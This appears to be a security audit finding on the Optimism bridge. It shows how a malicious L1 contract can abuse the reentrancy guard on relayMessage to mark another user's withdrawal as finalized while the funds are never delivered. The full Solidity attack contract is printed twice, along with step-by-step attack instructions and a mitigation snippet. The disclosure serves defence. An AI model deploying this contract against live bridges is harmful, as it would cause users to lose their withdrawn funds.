Causing users lose their fund during finalizing withdrawal transaction
A malicious user can make users lose their fund during finalizing their withdrawal. This is possible due to presence of reentrancy guard on the function `relayMessage`.\\nBob (a malicious user) creates a contract (called AttackContract) on L1.\\n```\\n// SPDX-License-Identifier: MIT\\npragma solidity 0.8.0;\\n\\nstruct WithdrawalTransaction {\\n   uint256 nonce;\\n   address sender;\\n   address target;\\n   uint256 value;\\n   uint256 gasLimit;\\n   bytes data;\\n}\\n\\ninterface IOptimismPortal {\\n   function finalizeWithdrawalTransaction(WithdrawalTransaction memory _tx)\\n       external;\\n}\\n\\ncontract AttackContract {\\n   bool public donotRevert;\\n   bytes metaData;\\n   address optimismPortalAddress;\\n\\n   constructor(address _optimismPortal) {\\n       optimismPortalAddress = _optimismPortal;\\n   }\\n\\n   function enableRevert() public {\\n       donotRevert = true;\\n   }\\n\\n   function setMetaData(WithdrawalTransaction memory _tx) public {\\n       metaData = abi.encodeWithSelector(\\n           IOptimismPortal.finalizeWithdrawalTransaction.selector,\\n           _tx\\n       );\\n   }\\n\\n   function attack() public {\\n       if (!donotRevert) {\\n           revert();\\n       } else {\\n           optimismPortalAddress.call(metaData);\\n       }\\n   }\\n}\\n```\\n\\n```\\n        if (!donotRevert) {\\n            revert();\\n        }\\n```\\n\\nThen, Bob calls the function `enableRevert` to set `donotRevert` to `true`. So that if later the function `attack()` is called again, it will not revert.\\n```\\n    function enableRevert() public {\\n        donotRevert = true;\\n    }\\n```\\n\\nThen, Bob notices that Alice is withdrawing large amount of fund from L2 to L1. Her withdrawal transaction is proved but she is waiting for the challenge period to be finished to finalize it.\\nThen, Bob calls the function `setMetaData` on the contract `AttackContract` with the following parameter:\\n`_tx` = Alice's withdrawal transaction\\nBy doing so, the `metaData` will be equal to `finalizeWithdrawalTransaction.selector` + Alice's withdrawal transaction.\\n```\\n   function setMetaData(WithdrawalTransaction memory _tx) public {\\n        metaData = abi.encodeWithSelector(\\n            IOptimismPortal.finalizeWithdrawalTransaction.selector,\\n            _tx\\n        );\\n    }\\n```\\n\\nNow, after the challenge period is passed, and before the function `finalizeWithdrawalTransaction` is called by anyone (Alice), Bob calls the function `relayMessage` with the required data to retry his previous failed message again.\\nThis time, since `donotRevert` is `true`, the call to function `attack()` will not revert, instead the body of `else clause` will be executed.\\n```\\n        else {\\n            optimismPortalAddress.call(metaData);\\n        }\\n```\\n\\nIn summary the attack is as follows:\\nBob creates a malicious contract on L1 called `AttackContract`.\\nBob sends a message from L2 to L1 to call the function `AttackContract.attack` on L1.\\nOn L1 side, after the challenge period is passed, the function `AttackContract.attack` will be called.\\nMessage relay on L1 will be unsuccessful, because the function `AttackContract.attack` reverts. So, Bob's message will be flagged as failed message.\\nBob sets `AttackContract.donotRevert` to true.\\nBob waits for an innocent user to request withdrawal transaction.\\nBob waits for the innocent user's withdrawal transaction to be proved.\\nBob sets meta data in his malicious contract based on the innocent user's withdrawal transaction.\\nBob waits for the challenge period to be passed.\\nAfter the challenge period is elapsed, Bob retries to relay his failed message again.\\n`CrossDomainMessenger.relayMessage` will call the `AttackContract.attack`, then it calls `OptimismPortal.finalizeWithdrawalTransaction` to finalize innocent user's withdrawal transaction. Then, it calls `CrossDomainMessenger.relayMessage`, but it will be unsuccessful because of reentrancy guard.\\nAfter finalizing the innocent user's withdrawal transaction, Bob's message will be flagged as successful.\\nSo, innocent user's withdrawal transaction is flagged as finalized, while it is not.
```\\n        try IL1CrossDomainMessanger.relayMessage(// rest of code) {} catch Error(string memory reason) {\\n            if (\\n                keccak256(abi.encodePacked(reason)) ==\\n                keccak256(abi.encodePacked("ReentrancyGuard: reentrant call"))\\n            ) {\\n                revert("finalizing should be reverted");\\n            }\\n        }\\n```\\n
By doing this attack it is possible to prevent users from withdrawing their fund. Moreover, they lose their fund because withdrawal is flagged as finalized, but the withdrawal sent to `L1CrossDomainMessanger` was not successful.
```\\n// SPDX-License-Identifier: MIT\\npragma solidity 0.8.0;\\n\\nstruct WithdrawalTransaction {\\n   uint256 nonce;\\n   address sender;\\n   address target;\\n   uint256 value;\\n   uint256 gasLimit;\\n   bytes data;\\n}\\n\\ninterface IOptimismPortal {\\n   function finalizeWithdrawalTransaction(WithdrawalTransaction memory _tx)\\n       external;\\n}\\n\\ncontract AttackContract {\\n   bool public donotRevert;\\n   bytes metaData;\\n   address optimismPortalAddress;\\n\\n   constructor(address _optimismPortal) {\\n       optimismPortalAddress = _optimismPortal;\\n   }\\n\\n   function enableRevert() public {\\n       donotRevert = true;\\n   }\\n\\n   function setMetaData(WithdrawalTransaction memory _tx) public {\\n       metaData = abi.encodeWithSelector(\\n           IOptimismPortal.finalizeWithdrawalTransaction.selector,\\n           _tx\\n       );\\n   }\\n\\n   function attack() public {\\n       if (!donotRevert) {\\n           revert();\\n       } else {\\n           optimismPortalAddress.call(metaData);\\n       }\\n   }\\n}\\n```\\n